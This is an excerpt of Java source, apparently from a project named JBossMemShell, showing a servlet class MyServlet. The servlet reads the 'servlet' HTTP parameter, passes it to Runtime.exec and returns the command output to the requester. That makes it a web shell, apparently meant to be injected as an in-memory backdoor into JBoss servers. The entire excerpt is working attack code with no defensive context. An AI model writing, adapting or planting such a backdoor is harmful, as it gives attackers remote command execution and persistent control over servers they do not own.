Class MyServlet

JBossMemShell/src/main/java/com/axisx/MyServlet.java:15–50

import java.io.InputStreamReader;

public class MyServlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {
    }

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest)servletRequest;
        HttpServletResponse resp = (HttpServletResponse)servletResponse;
        String cmd = req.getParameter("servlet");

        try {
            String result = this.CommandExec(cmd);
            resp.getWriter().println(result);
        } catch (Exception var7) {
        }

    }

    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        InputStream stderr = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(stderr);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuffer sb = new StringBuffer();

        while((line = br.readLine()) != null) {
            sb.append(line + "\n");
        }

        return sb.toString();
    }

    public void destroy() {
    }
}